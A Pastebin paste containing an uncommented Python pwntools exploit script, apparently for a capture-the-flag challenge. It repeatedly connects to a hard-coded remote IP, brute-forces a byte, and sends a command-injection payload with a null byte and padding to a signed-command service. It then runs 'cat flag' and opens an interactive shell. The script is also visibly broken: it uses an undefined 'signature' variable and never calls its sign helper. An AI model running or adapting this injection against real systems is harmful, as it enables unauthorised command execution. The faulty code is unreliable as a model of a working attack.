Advertisement
Guest User

Untitled

a guest
Feb 26th, 2017
105
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.74 KB | None | 0 0
  1. import pwn
  2.  
  3. t = ''
  4. def sign(cmd):
  5.     t.sendline("1")
  6.     t.recvuntil("sign?")
  7.     t.send(cmd)
  8.     t.recvuntil("signature: \n")
  9.     buf = t.recvuntil("\n")
  10.     buf = buf.replace("\n","")
  11.     return buf
  12.  
  13. def execute(cmd, sig):
  14.     t.sendline("2")
  15.     t.recvuntil("run?")
  16.     t.send(cmd)
  17.     t.recvuntil("signature:\n>_ ")
  18.     t.sendline(sig)
  19.  
  20. def main():
  21.     global t
  22.  
  23.     for i in range(0xff):
  24.         try:
  25.             pwn.log.info("attack %d" %(i))
  26.             t = pwn.remote("54.202.2.54", 9876)
  27.             #t = pwn.connect("127.0.0.1", 31338)
  28.  
  29.             t.recvuntil(">_")
  30.             change_mode = "sh;"+chr(i)+"\x00"
  31.             change_mode += "A"*(0x100-len(change_mode))
  32.             execute(change_mode, signature)
  33.            
  34.             t.sendline("cat flag")
  35.             t.interactive()
  36.         except:
  37.             continue
  38.  
  39. if __name__ == '__main__':
  40.     main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement